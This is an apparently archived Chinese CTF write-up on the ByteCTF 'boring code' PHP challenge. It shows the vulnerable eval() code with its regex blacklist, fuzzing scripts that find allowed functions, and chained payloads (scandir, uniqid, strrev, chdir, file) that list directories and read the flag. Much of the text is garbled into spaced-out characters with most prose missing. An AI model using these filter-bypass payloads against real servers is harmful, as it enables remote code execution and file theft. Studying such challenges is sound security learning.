[22057] 2021-06-11_从一道CTF题学习Fuzz思想

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-06-11_从一道CTF题学习Fuzz思想 C T F F u z z L e m o n S e c   2 0 2 1 - 0 6 - 1 1 x i a o l e u n g C T F R C E f u z z < ? p h p h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; $ c o d e   =   $ _ G E T [ ' c o d e ' ] ; i f   ( ! e m p t y ( $ c o d e ) )   {                 i f   ( ' ; '   = = =   p r e g _ r e p l a c e ( ' / [ a - z ] + ( ( ? R ) ? ) / ' ,   N U L L ,   $ c o d e ) )   {                         i f   ( p r e g _ m a t c h ( ' / r e a d f i l e | i f | t i m e | l o c a l | s q r t | e t | n a | n t | s t r l e n | i n f o | p a t h | r a n d | d e c | b i n | h e x | o c t | p i | e x p | l o g / i ' ,   $ c o d e ) )   {                                         e c h o   ' b y e ~ ' ;                                 }   e l s e   {                                         e v a l ( $ c o d e ) ;                                 }                         }                 e l s e   {                         e c h o   " N o   w a y ! ! ! " ;                 } } e l s e   {                 e c h o   " N o   w a y ! ! ! " ;         } [ a - z ] + ( ( ? R ) ? ) +
2 6 N U I L L , e c h o p h p i n f o 使 F U Z Z , P H P p y t h o n 使 p r e g _ r e p l a c e ( ) ( ; ) e c h o ( ) ; e c h o ( 1 2 2 ) ; e c h o ( p h p i n f o ( ) ) ( ; ) ( ; ) ( r e a d f i l e | i f | t i m e | l o c a l | s q r t | e t | n a | n t | s t r l e n | i n f o | p a t h | r a n d | d e c | b i n | h e x | o c t | p i | e x p | l o g )
P H P < ? p h p $ a   =   g e t _ d e f i n e d _ f u n c t i o n s ( ) [ ' i n t e r n a l ' ] ; $ f i l e   =   f o p e n ( " f u n c t i o n . t x t " , " w + " ) ; f o r e a c h   ( $ a   a s   $ k e y   )   {   e c h o   f p u t s ( $ f i l e , $ k e y . " r n " ) ; } f c l o s e ( $ f i l e ) ; ? > 使 i m p o r t   r e f   =   o p e n ( ' f u n c t i o n . t x t ' , ' r ' ) f o r   i   i n   f :         f u n c t i o n   =   r e . f i n d a l l ( r ' / r e a d f i l e | i f | t i m e | l o c a l | s q r t | e t | n a | n t | s t r l e n | i n f o | p a t h | r a n d | d e c | b i n | h e x | o c t | p i | e x p | l o g / ' , i )           i f   f u n c t i o n   = =   [ ]   a n d   n o t   ' _ '   i n   i :                 p r i n t ( i ) p a y l o a d - ( ) f l a g , i n d e x . p h p i n d e x . p h p s c a n d i r ( ) ' . ' s c a n d i r ( ' . ' ) u n i q i d ( ) s t r r e v ( )
使 c h a r < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; f o r ( $ i = 0 ; $ i < 1 0 0 0 ; $ i + + ) e c h o ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ; ? > p a y l o a d , s c a n d i r v a r _ d u m p 使 e c h o ( i m p l o d e ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) ; 使 b u r p s u i t e , s t r r e v ( ) ( . ) i m p l o d e ( ) e c h o ( )
i n d e x . p h p 使 使 p a y l o a d e c h o ( i m p l o d e ( s c a n d i r ( n e x t ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) ) ) ; p a y l o a d 使 b u r p s u i t e , c h d i r ( ) c h d i r ( ' . . ' ) [ 0 = > ' . ' , 1 = > ' . . ' , 3 = > ' i n d e x . p h p ' ] n e x t ( )
i n d e x . p h p , 使 c h d i r ( n e x t ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) 使 p a y l o a d 使 e n d ( ) 使 f i l e ( ) f i l e ( e n d ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) p a y l o a d e c h o ( i m p l o d e ( f i l e ( e n d ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( c h d i r ( n e x t ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) ) ) ) ) ) ) ) ) ; N e n d ( )
p a y l o a d 使 p l u s F u z z R C E b e n F u z z B y t e C T F - b o r i n g c o d e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则